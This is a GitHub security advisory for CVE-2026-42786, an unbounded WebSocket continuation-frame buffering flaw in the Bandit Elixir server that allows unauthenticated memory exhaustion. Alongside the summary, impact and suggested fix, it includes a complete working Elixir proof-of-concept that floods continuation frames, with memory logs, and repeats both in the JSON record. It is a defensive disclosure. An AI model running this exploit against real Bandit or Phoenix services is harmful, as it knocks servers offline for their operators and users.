GHSA-PF94-94M9-536P

Vulnerability from github – Published: 2026-05-07 03:43 – Updated: 2026-05-07 03:43
VLAI?
Summary
Bandit Buffers Unbounded WebSocket Continuation Frames, Allowing Unauthenticated Memory Exhaustion
Details

Summary

A single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every Continuation{fin: false} frame's payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting fin=1) grows BEAM heap linearly until the OS or a supervisor kills the process. max_frame_size only bounds individual frames; there is no max_message_size option available today.

Details

The bug is in lib/bandit/websocket/connection.ex, in the fragment branch of handle_frame/3 (around lines 80–95). When a non-final continuation arrives, Bandit builds the next accumulator as [connection.fragment_frame.data | frame.data] with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When fin=1 finally arrives (if ever), IO.iodata_to_binary/1 flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send fin=1 — simply holding the connection open is enough to pin the bytes.

Suggested fix: track a running cumulative byte count on the connection state and add a configurable max_message_size. When exceeded, terminate the connection with RFC 6455 close code 1009 (:max_message_size_exceeded) instead of continuing to append.

PoC

A self-contained reproduction script is below. It starts Bandit 1.10 on 127.0.0.1:4321 with a trivial WebSock echo handler, completes a WebSocket handshake, sends one text frame with fin=0, then streams up to 4096 continuation frames of 1 MiB each — also fin=0. A background sampler logs :erlang.memory(:total) every 250 ms.

A correctly-fixed server would close the connection with code 1009 once max_message_size is exceeded.

Impact

Unauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.

Affected by default. No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over WebSock on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections — including the LiveView socket that almost every Phoenix 1.7+ app mounts at /live. Plug apps that mount any custom WebSock handler are equally affected. Applications that expose no WebSocket endpoints are not.

The exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either — the accumulation happens before WebSock.handle_in/2 is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.

Script and Logs

# Bandit WebSocket fragmented-message accumulation PoC.
#
# lib/bandit/websocket/connection.ex:80-95 appends every incoming
# Continuation{fin: false} frame's payload to connection.fragment_frame.data
# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*
# frame; a peer that streams an unbounded number of max-sized continuations
# without ever setting fin=1 grows the iolist linearly in BEAM memory until
# the OS kills the process. The eventual IO.iodata_to_binary/1 in the
# fin=true branch also momentarily doubles peak memory.
#
# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,
# sends one text frame with fin=0 followed by a continuous stream of
# continuation frames (also fin=0), and samples BEAM memory while doing so.
# A correct server would close the connection with 1009 once a configured
# max-message-size is exceeded; the buggy server keeps growing.
#
# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs

Mix.install([
  {:bandit, "~> 1.10"},
  {:plug, "~> 1.19"},
  {:websock_adapter, "~> 0.5"}
])

defmodule EchoSocket do
  @behaviour WebSock

  def init(_opts), do: {:ok, %{}}
  def handle_in(_message, state), do: {:ok, state}
  def handle_info(_message, state), do: {:ok, state}
  def terminate(_reason, state), do: {:ok, state}
end

defmodule DemoApp do
  @behaviour Plug
  def init(opts), do: opts

  def call(conn, _opts) do
    conn
    |> WebSockAdapter.upgrade(EchoSocket, %{}, [])
    |> Plug.Conn.halt()
  end
end

defmodule FragmentFlood do
  @port 4321
  @fragment_payload_bytes 1 * 1024 * 1024
  @fragment_count 4096
  @sample_every_ms 250

  def run do
    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)

    sock = ws_handshake!()
    sampler_pid = spawn_link(&sample_memory_loop/0)

    payload_chunk = :binary.copy(<<0x41>>, @fragment_payload_bytes)
    starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)
    continuation_frame = build_frame(0x0, _fin = false, payload_chunk)

    log("Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).")
    :ok = :gen_tcp.send(sock, starting_text_frame)

    log("Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).")
    Enum.each(1..@fragment_count, fn index ->
      case :gen_tcp.send(sock, continuation_frame) do
        :ok ->
          if rem(index, 64) == 0 do
            log("Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).")
          end

        {:error, reason} ->
          log("Server closed connection after #{index} continuations: #{inspect(reason)}")
          throw(:server_closed)
      end
    end)

    log("Finished sending. Never sent fin=1 — server should still be holding the iolist.")
    Process.sleep(2_000)

    Process.unlink(sampler_pid)
    Process.exit(sampler_pid, :kill)
    :gen_tcp.close(sock)
    log("Done.")
  catch
    :server_closed -> log("Server appears to enforce a cap — bug not present or mitigated.")
  end

  defp ws_handshake! do
    {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false])
    ws_key = :crypto.strong_rand_bytes(16) |> Base.encode64()

    :ok =
      :gen_tcp.send(sock, """
      GET / HTTP/1.1\r
      Host: 127.0.0.1\r
      Upgrade: websocket\r
      Connection: Upgrade\r
      Sec-WebSocket-Key: #{ws_key}\r
      Sec-WebSocket-Version: 13\r
      \r
      """)

    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)
    if not (response =~ "101 Switching Protocols"), do: raise("WebSocket handshake failed:\n#{response}")
    log("Handshake complete.")
    sock
  end

  # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;
  # opcode is the low nibble. Client→server frames must be masked per RFC 6455.
  defp build_frame(opcode, fin, payload) do
    fin_bit = if fin, do: 1, else: 0
    mask = :crypto.strong_rand_bytes(4)
    payload_size = byte_size(payload)
    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)
    masked_payload = :crypto.exor(payload, mask_stream)

    length_bytes =
      cond do
        payload_size <= 125 -> <<1::1, payload_size::7>>
        payload_size <= 0xFFFF -> <<1::1, 126::7, payload_size::16>>
        true -> <<1::1, 127::7, payload_size::64>>
      end

    <<fin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary>>
  end

  defp sample_memory_loop do
    log("[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB")
    Process.sleep(@sample_every_ms)
    sample_memory_loop()
  end

  defp log(message), do: IO.puts("[#{Time.utc_now() |> Time.truncate(:millisecond)}] #{message}")
end

FragmentFlood.run()
13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)
[11:04:30.812] Handshake complete.
[11:04:30.815] [mem] BEAM total = 49 MiB
[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).
[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).
[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).
[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).
[11:04:31.065] [mem] BEAM total = 185 MiB
[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).
[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).
[11:04:31.316] [mem] BEAM total = 322 MiB
[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).
[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).
[11:04:31.567] [mem] BEAM total = 463 MiB
[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).
[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).
[11:04:31.818] [mem] BEAM total = 602 MiB
[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).
[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).
[11:04:32.069] [mem] BEAM total = 743 MiB
[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).
[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).
[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).
[11:04:32.320] [mem] BEAM total = 887 MiB
[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).
[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).
[11:04:32.571] [mem] BEAM total = 1034 MiB
[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).
[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).
[11:04:32.822] [mem] BEAM total = 1179 MiB
[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).
[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).
[11:04:33.073] [mem] BEAM total = 1323 MiB
[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).
[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).
[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).
[11:04:33.324] [mem] BEAM total = 1466 MiB
[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).
[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).
[11:04:33.575] [mem] BEAM total = 1608 MiB
[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).
[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).
[11:04:33.826] [mem] BEAM total = 1758 MiB
[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).
[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).
[11:04:34.077] [mem] BEAM total = 1901 MiB
[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).
[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).
[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).
[11:04:34.328] [mem] BEAM total = 2048 MiB
[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).
[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).
[11:04:34.579] [mem] BEAM total = 2191 MiB
[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).
[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).
[11:04:34.830] [mem] BEAM total = 2342 MiB
[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).
[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).
[11:04:35.081] [mem] BEAM total = 2480 MiB
[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).
[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).
[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).
[11:04:35.332] [mem] BEAM total = 2620 MiB
[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).
[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).
[11:04:35.583] [mem] BEAM total = 2760 MiB
[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).
[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).
[11:04:35.834] [mem] BEAM total = 2903 MiB
[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).
[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).
[11:04:36.085] [mem] BEAM total = 3045 MiB
[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).
[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).
[11:04:36.336] [mem] BEAM total = 3184 MiB
[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).
[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).
[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).
[11:04:36.587] [mem] BEAM total = 3332 MiB
[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).
[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).
[11:04:36.838] [mem] BEAM total = 3463 MiB
[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).
[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).
[11:04:37.089] [mem] BEAM total = 3610 MiB
[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).
[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).
[11:04:37.340] [mem] BEAM total = 3735 MiB
[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).
[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).
[11:04:37.591] [mem] BEAM total = 3878 MiB
[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).
[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).
[11:04:37.842] [mem] BEAM total = 4012 MiB
[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).
[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).
[11:04:38.093] [mem] BEAM total = 4142 MiB
[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).
[11:04:38.105] Finished sending. Never sent fin=1 — server should still be holding the iolist.
[11:04:38.344] [mem] BEAM total = 4149 MiB
[11:04:38.596] [mem] BEAM total = 4149 MiB
[11:04:38.847] [mem] BEAM total = 4149 MiB
[11:04:39.098] [mem] BEAM total = 4149 MiB
[11:04:39.349] [mem] BEAM total = 4149 MiB
[11:04:39.600] [mem] BEAM total = 4149 MiB
[11:04:39.851] [mem] BEAM total = 4149 MiB
[11:04:40.102] [mem] BEAM total = 4149 MiB
[11:04:40.106] Done.
Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Hex",
        "name": "bandit"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0.5.0"
            },
            {
              "fixed": "1.11.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-42786"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-770"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-05-07T03:43:45Z",
    "nvd_published_at": "2026-05-01T21:16:17Z",
    "severity": "HIGH"
  },
  "details": "### Summary\nA single unauthenticated WebSocket client can exhaust server memory in any Bandit-fronted application that accepts WebSocket connections. The fragmented-message reassembly path appends every `Continuation{fin: false}` frame\u0027s payload to a per-connection iolist with no cumulative size cap, so a peer that streams continuation frames indefinitely (never setting `fin=1`) grows BEAM heap linearly until the OS or a supervisor kills the process. `max_frame_size` only bounds individual frames; there is no `max_message_size` option available today.\n\n### Details\nThe bug is in `lib/bandit/websocket/connection.ex`, in the fragment branch of `handle_frame/3` (around lines 80\u201395). When a non-final continuation arrives, Bandit builds the next accumulator as `[connection.fragment_frame.data | frame.data]` with no running byte-count check. A peer can therefore stream max-sized continuations forever and grow BEAM resident memory without bound. When `fin=1` finally arrives (if ever), `IO.iodata_to_binary/1` flattens the whole iolist, briefly doubling peak memory. The attacker does not need to send `fin=1` \u2014 simply holding the connection open is enough to pin the bytes.\n\n**Suggested fix:** track a running cumulative byte count on the connection state and add a configurable `max_message_size`. When exceeded, terminate the connection with RFC 6455 close code 1009 (`:max_message_size_exceeded`) instead of continuing to append.\n\n### PoC\nA self-contained reproduction script is below. It starts Bandit 1.10 on `127.0.0.1:4321` with a trivial `WebSock` echo handler, completes a WebSocket handshake, sends one text frame with `fin=0`, then streams up to 4096 continuation frames of 1 MiB each \u2014 also `fin=0`. A background sampler logs `:erlang.memory(:total)` every 250 ms.\n\nA correctly-fixed server would close the connection with code 1009 once `max_message_size` is exceeded.\n\n### Impact\nUnauthenticated DoS via memory exhaustion. A single connection can drive BEAM heap to gigabytes; a small number of concurrent connections OOM-kills the host.\n\n**Affected by default.** No opt-in flag, no configuration option to mitigate. Any Phoenix application is on the vulnerable path: Phoenix Channels and LiveView both run over `WebSock` on Bandit, so a stock Phoenix app exposes this surface as soon as it accepts socket connections \u2014 including the LiveView socket that almost every Phoenix 1.7+ app mounts at `/live`. Plug apps that mount any custom `WebSock` handler are equally affected. Applications that expose no WebSocket endpoints are not.\n\nThe exploit also survives almost every common deployment topology: L4 load balancers, HTTP-mode reverse proxies, and TLS-terminating edge proxies (Cloudflare, Fly.io, Fastly, etc.) all tunnel post-upgrade WebSocket frames opaquely without inspecting size. There is no application-level workaround either \u2014 the accumulation happens *before* `WebSock.handle_in/2` is called, so by the time the application could check, Bandit has already buffered the iolist. The fix belongs in Bandit.\n\n### Script and Logs\n\n```elixir\n# Bandit WebSocket fragmented-message accumulation PoC.\n#\n# lib/bandit/websocket/connection.ex:80-95 appends every incoming\n# Continuation{fin: false} frame\u0027s payload to connection.fragment_frame.data\n# as iodata, with no cumulative cap. `max_frame_size` only bounds *each*\n# frame; a peer that streams an unbounded number of max-sized continuations\n# without ever setting fin=1 grows the iolist linearly in BEAM memory until\n# the OS kills the process. The eventual IO.iodata_to_binary/1 in the\n# fin=true branch also momentarily doubles peak memory.\n#\n# This script starts Bandit 1.10 on 127.0.0.1:4321, opens a WebSocket,\n# sends one text frame with fin=0 followed by a continuous stream of\n# continuation frames (also fin=0), and samples BEAM memory while doing so.\n# A correct server would close the connection with 1009 once a configured\n# max-message-size is exceeded; the buggy server keeps growing.\n#\n# Run: elixir scripts/bandit/ws_fragment_memory_exhaustion.exs\n\nMix.install([\n  {:bandit, \"~\u003e 1.10\"},\n  {:plug, \"~\u003e 1.19\"},\n  {:websock_adapter, \"~\u003e 0.5\"}\n])\n\ndefmodule EchoSocket do\n  @behaviour WebSock\n\n  def init(_opts), do: {:ok, %{}}\n  def handle_in(_message, state), do: {:ok, state}\n  def handle_info(_message, state), do: {:ok, state}\n  def terminate(_reason, state), do: {:ok, state}\nend\n\ndefmodule DemoApp do\n  @behaviour Plug\n  def init(opts), do: opts\n\n  def call(conn, _opts) do\n    conn\n    |\u003e WebSockAdapter.upgrade(EchoSocket, %{}, [])\n    |\u003e Plug.Conn.halt()\n  end\nend\n\ndefmodule FragmentFlood do\n  @port 4321\n  @fragment_payload_bytes 1 * 1024 * 1024\n  @fragment_count 4096\n  @sample_every_ms 250\n\n  def run do\n    {:ok, _} = Bandit.start_link(plug: DemoApp, ip: {127, 0, 0, 1}, port: @port)\n\n    sock = ws_handshake!()\n    sampler_pid = spawn_link(\u0026sample_memory_loop/0)\n\n    payload_chunk = :binary.copy(\u003c\u003c0x41\u003e\u003e, @fragment_payload_bytes)\n    starting_text_frame = build_frame(0x1, _fin = false, payload_chunk)\n    continuation_frame = build_frame(0x0, _fin = false, payload_chunk)\n\n    log(\"Sending start text frame (fin=0, #{@fragment_payload_bytes} bytes).\")\n    :ok = :gen_tcp.send(sock, starting_text_frame)\n\n    log(\"Streaming #{@fragment_count} continuation frames (fin=0, #{@fragment_payload_bytes} bytes each).\")\n    Enum.each(1..@fragment_count, fn index -\u003e\n      case :gen_tcp.send(sock, continuation_frame) do\n        :ok -\u003e\n          if rem(index, 64) == 0 do\n            log(\"Sent #{index}/#{@fragment_count} continuations (~#{div(index * @fragment_payload_bytes, 1024 * 1024)} MiB accumulated).\")\n          end\n\n        {:error, reason} -\u003e\n          log(\"Server closed connection after #{index} continuations: #{inspect(reason)}\")\n          throw(:server_closed)\n      end\n    end)\n\n    log(\"Finished sending. Never sent fin=1 \u2014 server should still be holding the iolist.\")\n    Process.sleep(2_000)\n\n    Process.unlink(sampler_pid)\n    Process.exit(sampler_pid, :kill)\n    :gen_tcp.close(sock)\n    log(\"Done.\")\n  catch\n    :server_closed -\u003e log(\"Server appears to enforce a cap \u2014 bug not present or mitigated.\")\n  end\n\n  defp ws_handshake! do\n    {:ok, sock} = :gen_tcp.connect(~c\"127.0.0.1\", @port, [:binary, active: false])\n    ws_key = :crypto.strong_rand_bytes(16) |\u003e Base.encode64()\n\n    :ok =\n      :gen_tcp.send(sock, \"\"\"\n      GET / HTTP/1.1\\r\n      Host: 127.0.0.1\\r\n      Upgrade: websocket\\r\n      Connection: Upgrade\\r\n      Sec-WebSocket-Key: #{ws_key}\\r\n      Sec-WebSocket-Version: 13\\r\n      \\r\n      \"\"\")\n\n    {:ok, response} = :gen_tcp.recv(sock, 0, 5_000)\n    if not (response =~ \"101 Switching Protocols\"), do: raise(\"WebSocket handshake failed:\\n#{response}\")\n    log(\"Handshake complete.\")\n    sock\n  end\n\n  # Build a single masked WebSocket frame. fin controls bit 0 of byte 0;\n  # opcode is the low nibble. Client\u2192server frames must be masked per RFC 6455.\n  defp build_frame(opcode, fin, payload) do\n    fin_bit = if fin, do: 1, else: 0\n    mask = :crypto.strong_rand_bytes(4)\n    payload_size = byte_size(payload)\n    mask_stream = binary_part(:binary.copy(mask, div(payload_size, 4) + 1), 0, payload_size)\n    masked_payload = :crypto.exor(payload, mask_stream)\n\n    length_bytes =\n      cond do\n        payload_size \u003c= 125 -\u003e \u003c\u003c1::1, payload_size::7\u003e\u003e\n        payload_size \u003c= 0xFFFF -\u003e \u003c\u003c1::1, 126::7, payload_size::16\u003e\u003e\n        true -\u003e \u003c\u003c1::1, 127::7, payload_size::64\u003e\u003e\n      end\n\n    \u003c\u003cfin_bit::1, 0::3, opcode::4, length_bytes::binary, mask::binary, masked_payload::binary\u003e\u003e\n  end\n\n  defp sample_memory_loop do\n    log(\"[mem] BEAM total = #{div(:erlang.memory(:total), 1_048_576)} MiB\")\n    Process.sleep(@sample_every_ms)\n    sample_memory_loop()\n  end\n\n  defp log(message), do: IO.puts(\"[#{Time.utc_now() |\u003e Time.truncate(:millisecond)}] #{message}\")\nend\n\nFragmentFlood.run()\n```\n\n```logs\n13:04:30.778 [info] Running DemoApp with Bandit 1.10.4 at 127.0.0.1:4321 (http)\n[11:04:30.812] Handshake complete.\n[11:04:30.815] [mem] BEAM total = 49 MiB\n[11:04:30.823] Sending start text frame (fin=0, 1048576 bytes).\n[11:04:30.824] Streaming 4096 continuation frames (fin=0, 1048576 bytes each).\n[11:04:30.940] Sent 64/4096 continuations (~64 MiB accumulated).\n[11:04:31.055] Sent 128/4096 continuations (~128 MiB accumulated).\n[11:04:31.065] [mem] BEAM total = 185 MiB\n[11:04:31.169] Sent 192/4096 continuations (~192 MiB accumulated).\n[11:04:31.285] Sent 256/4096 continuations (~256 MiB accumulated).\n[11:04:31.316] [mem] BEAM total = 322 MiB\n[11:04:31.404] Sent 320/4096 continuations (~320 MiB accumulated).\n[11:04:31.518] Sent 384/4096 continuations (~384 MiB accumulated).\n[11:04:31.567] [mem] BEAM total = 463 MiB\n[11:04:31.633] Sent 448/4096 continuations (~448 MiB accumulated).\n[11:04:31.747] Sent 512/4096 continuations (~512 MiB accumulated).\n[11:04:31.818] [mem] BEAM total = 602 MiB\n[11:04:31.866] Sent 576/4096 continuations (~576 MiB accumulated).\n[11:04:31.979] Sent 640/4096 continuations (~640 MiB accumulated).\n[11:04:32.069] [mem] BEAM total = 743 MiB\n[11:04:32.091] Sent 704/4096 continuations (~704 MiB accumulated).\n[11:04:32.199] Sent 768/4096 continuations (~768 MiB accumulated).\n[11:04:32.306] Sent 832/4096 continuations (~832 MiB accumulated).\n[11:04:32.320] [mem] BEAM total = 887 MiB\n[11:04:32.420] Sent 896/4096 continuations (~896 MiB accumulated).\n[11:04:32.530] Sent 960/4096 continuations (~960 MiB accumulated).\n[11:04:32.571] [mem] BEAM total = 1034 MiB\n[11:04:32.640] Sent 1024/4096 continuations (~1024 MiB accumulated).\n[11:04:32.751] Sent 1088/4096 continuations (~1088 MiB accumulated).\n[11:04:32.822] [mem] BEAM total = 1179 MiB\n[11:04:32.866] Sent 1152/4096 continuations (~1152 MiB accumulated).\n[11:04:32.977] Sent 1216/4096 continuations (~1216 MiB accumulated).\n[11:04:33.073] [mem] BEAM total = 1323 MiB\n[11:04:33.087] Sent 1280/4096 continuations (~1280 MiB accumulated).\n[11:04:33.200] Sent 1344/4096 continuations (~1344 MiB accumulated).\n[11:04:33.309] Sent 1408/4096 continuations (~1408 MiB accumulated).\n[11:04:33.324] [mem] BEAM total = 1466 MiB\n[11:04:33.421] Sent 1472/4096 continuations (~1472 MiB accumulated).\n[11:04:33.533] Sent 1536/4096 continuations (~1536 MiB accumulated).\n[11:04:33.575] [mem] BEAM total = 1608 MiB\n[11:04:33.643] Sent 1600/4096 continuations (~1600 MiB accumulated).\n[11:04:33.751] Sent 1664/4096 continuations (~1664 MiB accumulated).\n[11:04:33.826] [mem] BEAM total = 1758 MiB\n[11:04:33.860] Sent 1728/4096 continuations (~1728 MiB accumulated).\n[11:04:33.972] Sent 1792/4096 continuations (~1792 MiB accumulated).\n[11:04:34.077] [mem] BEAM total = 1901 MiB\n[11:04:34.083] Sent 1856/4096 continuations (~1856 MiB accumulated).\n[11:04:34.192] Sent 1920/4096 continuations (~1920 MiB accumulated).\n[11:04:34.305] Sent 1984/4096 continuations (~1984 MiB accumulated).\n[11:04:34.328] [mem] BEAM total = 2048 MiB\n[11:04:34.417] Sent 2048/4096 continuations (~2048 MiB accumulated).\n[11:04:34.528] Sent 2112/4096 continuations (~2112 MiB accumulated).\n[11:04:34.579] [mem] BEAM total = 2191 MiB\n[11:04:34.644] Sent 2176/4096 continuations (~2176 MiB accumulated).\n[11:04:34.751] Sent 2240/4096 continuations (~2240 MiB accumulated).\n[11:04:34.830] [mem] BEAM total = 2342 MiB\n[11:04:34.863] Sent 2304/4096 continuations (~2304 MiB accumulated).\n[11:04:34.974] Sent 2368/4096 continuations (~2368 MiB accumulated).\n[11:04:35.081] [mem] BEAM total = 2480 MiB\n[11:04:35.088] Sent 2432/4096 continuations (~2432 MiB accumulated).\n[11:04:35.202] Sent 2496/4096 continuations (~2496 MiB accumulated).\n[11:04:35.316] Sent 2560/4096 continuations (~2560 MiB accumulated).\n[11:04:35.332] [mem] BEAM total = 2620 MiB\n[11:04:35.430] Sent 2624/4096 continuations (~2624 MiB accumulated).\n[11:04:35.545] Sent 2688/4096 continuations (~2688 MiB accumulated).\n[11:04:35.583] [mem] BEAM total = 2760 MiB\n[11:04:35.660] Sent 2752/4096 continuations (~2752 MiB accumulated).\n[11:04:35.776] Sent 2816/4096 continuations (~2816 MiB accumulated).\n[11:04:35.834] [mem] BEAM total = 2903 MiB\n[11:04:35.890] Sent 2880/4096 continuations (~2880 MiB accumulated).\n[11:04:36.000] Sent 2944/4096 continuations (~2944 MiB accumulated).\n[11:04:36.085] [mem] BEAM total = 3045 MiB\n[11:04:36.110] Sent 3008/4096 continuations (~3008 MiB accumulated).\n[11:04:36.225] Sent 3072/4096 continuations (~3072 MiB accumulated).\n[11:04:36.336] [mem] BEAM total = 3184 MiB\n[11:04:36.343] Sent 3136/4096 continuations (~3136 MiB accumulated).\n[11:04:36.462] Sent 3200/4096 continuations (~3200 MiB accumulated).\n[11:04:36.580] Sent 3264/4096 continuations (~3264 MiB accumulated).\n[11:04:36.587] [mem] BEAM total = 3332 MiB\n[11:04:36.691] Sent 3328/4096 continuations (~3328 MiB accumulated).\n[11:04:36.806] Sent 3392/4096 continuations (~3392 MiB accumulated).\n[11:04:36.838] [mem] BEAM total = 3463 MiB\n[11:04:36.927] Sent 3456/4096 continuations (~3456 MiB accumulated).\n[11:04:37.041] Sent 3520/4096 continuations (~3520 MiB accumulated).\n[11:04:37.089] [mem] BEAM total = 3610 MiB\n[11:04:37.157] Sent 3584/4096 continuations (~3584 MiB accumulated).\n[11:04:37.273] Sent 3648/4096 continuations (~3648 MiB accumulated).\n[11:04:37.340] [mem] BEAM total = 3735 MiB\n[11:04:37.389] Sent 3712/4096 continuations (~3712 MiB accumulated).\n[11:04:37.504] Sent 3776/4096 continuations (~3776 MiB accumulated).\n[11:04:37.591] [mem] BEAM total = 3878 MiB\n[11:04:37.629] Sent 3840/4096 continuations (~3840 MiB accumulated).\n[11:04:37.745] Sent 3904/4096 continuations (~3904 MiB accumulated).\n[11:04:37.842] [mem] BEAM total = 4012 MiB\n[11:04:37.862] Sent 3968/4096 continuations (~3968 MiB accumulated).\n[11:04:37.982] Sent 4032/4096 continuations (~4032 MiB accumulated).\n[11:04:38.093] [mem] BEAM total = 4142 MiB\n[11:04:38.105] Sent 4096/4096 continuations (~4096 MiB accumulated).\n[11:04:38.105] Finished sending. Never sent fin=1 \u2014 server should still be holding the iolist.\n[11:04:38.344] [mem] BEAM total = 4149 MiB\n[11:04:38.596] [mem] BEAM total = 4149 MiB\n[11:04:38.847] [mem] BEAM total = 4149 MiB\n[11:04:39.098] [mem] BEAM total = 4149 MiB\n[11:04:39.349] [mem] BEAM total = 4149 MiB\n[11:04:39.600] [mem] BEAM total = 4149 MiB\n[11:04:39.851] [mem] BEAM total = 4149 MiB\n[11:04:40.102] [mem] BEAM total = 4149 MiB\n[11:04:40.106] Done.\n```",
  "id": "GHSA-pf94-94m9-536p",
  "modified": "2026-05-07T03:43:45Z",
  "published": "2026-05-07T03:43:45Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/security/advisories/GHSA-pf94-94m9-536p"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-42786"
    },
    {
      "type": "WEB",
      "url": "https://github.com/mtrudel/bandit/commit/21612c7c7b1ce43eccd36d3af3a2299d23513667"
    },
    {
      "type": "WEB",
      "url": "https://cna.erlef.org/cves/CVE-2026-42786.html"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/mtrudel/bandit"
    },
    {
      "type": "WEB",
      "url": "https://osv.dev/vulnerability/EEF-CVE-2026-42786"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
      "type": "CVSS_V4"
    }
  ],
